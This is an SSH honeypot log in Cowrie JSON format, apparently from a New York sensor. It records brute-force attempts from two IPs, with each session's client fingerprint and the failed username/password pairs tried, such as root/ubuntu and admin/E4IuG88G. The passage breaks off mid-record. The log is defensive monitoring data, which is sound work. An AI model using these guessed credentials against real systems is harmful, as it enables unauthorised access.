{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:02.365878Z","src_ip":"91.92.40.171","session":"57fc08669e40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"root","message":"login attempt [myuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:03.307589Z","src_ip":"91.92.40.171","session":"57fc08669e40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"calvin","password":"calvin","message":"login attempt [calvin/calvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:03.444618Z","src_ip":"91.92.40.171","session":"aa49568c1472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:04.529549Z","src_ip":"91.92.40.171","session":"57fc08669e40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:05.262253Z","src_ip":"91.92.40.171","session":"aa49568c1472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":49072,"dst_ip":"159.203.135.109","dst_port":22,"session":"17d5777f4b5a","protocol":"ssh","message":"New connection: 91.92.42.133:49072 (159.203.135.109:22) [session: 17d5777f4b5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:06.428008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:06.708586Z","src_ip":"91.92.42.133","session":"17d5777f4b5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:06.711613Z","src_ip":"91.92.42.133","session":"17d5777f4b5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":43916,"dst_ip":"159.203.135.109","dst_port":22,"session":"64e3b68a6469","protocol":"ssh","message":"New connection: 91.92.40.171:43916 (159.203.135.109:22) [session: 64e3b68a6469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:07.896935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:08.151333Z","src_ip":"91.92.40.171","session":"64e3b68a6469","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:08.154433Z","src_ip":"91.92.40.171","session":"64e3b68a6469","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome1","message":"login attempt [root/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:08.485311Z","src_ip":"91.92.42.133","session":"17d5777f4b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"private","password":"private","message":"login attempt [private/private] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:09.329719Z","src_ip":"91.92.40.171","session":"64e3b68a6469","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:09.843349Z","src_ip":"91.92.42.133","session":"17d5777f4b5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:10.618189Z","src_ip":"91.92.40.171","session":"64e3b68a6469","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":43976,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a639880615d","protocol":"ssh","message":"New connection: 91.92.40.171:43976 (159.203.135.109:22) [session: 7a639880615d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:13.538554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:13.647141Z","src_ip":"91.92.40.171","session":"7a639880615d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:13.650307Z","src_ip":"91.92.40.171","session":"7a639880615d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":49128,"dst_ip":"159.203.135.109","dst_port":22,"session":"0db557a7388c","protocol":"ssh","message":"New connection: 91.92.42.133:49128 (159.203.135.109:22) [session: 0db557a7388c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:14.207312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:14.347372Z","src_ip":"91.92.42.133","session":"0db557a7388c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:14.357755Z","src_ip":"91.92.42.133","session":"0db557a7388c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:14.993947Z","src_ip":"91.92.40.171","session":"7a639880615d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:15.168439Z","src_ip":"91.92.42.133","session":"0db557a7388c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:16.262210Z","src_ip":"91.92.40.171","session":"7a639880615d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:16.356132Z","src_ip":"91.92.42.133","session":"0db557a7388c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":55588,"dst_ip":"159.203.135.109","dst_port":22,"session":"f265fdbe82ae","protocol":"ssh","message":"New connection: 91.92.40.171:55588 (159.203.135.109:22) [session: f265fdbe82ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:19.022040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:19.242334Z","src_ip":"91.92.40.171","session":"f265fdbe82ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:19.245724Z","src_ip":"91.92.40.171","session":"f265fdbe82ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:20.280323Z","src_ip":"91.92.40.171","session":"f265fdbe82ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:21.420376Z","src_ip":"91.92.40.171","session":"f265fdbe82ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44298,"dst_ip":"159.203.135.109","dst_port":22,"session":"f22abb4e15b6","protocol":"ssh","message":"New connection: 91.92.42.133:44298 (159.203.135.109:22) [session: f22abb4e15b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:21.616790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:21.952554Z","src_ip":"91.92.42.133","session":"f22abb4e15b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:21.955459Z","src_ip":"91.92.42.133","session":"f22abb4e15b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:22.771670Z","src_ip":"91.92.42.133","session":"f22abb4e15b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:23.934015Z","src_ip":"91.92.42.133","session":"f22abb4e15b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":35356,"dst_ip":"159.203.135.109","dst_port":22,"session":"d642bdafc1d6","protocol":"ssh","message":"New connection: 91.92.40.171:35356 (159.203.135.109:22) [session: d642bdafc1d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:25.099818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:25.212656Z","src_ip":"91.92.40.171","session":"d642bdafc1d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:25.217154Z","src_ip":"91.92.40.171","session":"d642bdafc1d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"E4IuG88G","message":"login attempt [admin/E4IuG88G] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:25.988831Z","src_ip":"91.92.40.171","session":"d642bdafc1d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:27.114589Z","src_ip":"91.92.40.171","session":"d642bdafc1d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":50202,"dst_ip":"159.203.135.109","dst_port":22,"session":"691960b0f5a7","protocol":"ssh","message":"New connection: 91.92.42.133:50202 (159.203.135.109:22) [session: 691960b0f5a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:28.853242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:44:29.136364Z","src_ip":"91.92.42.133","session":"691960b0f5a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-n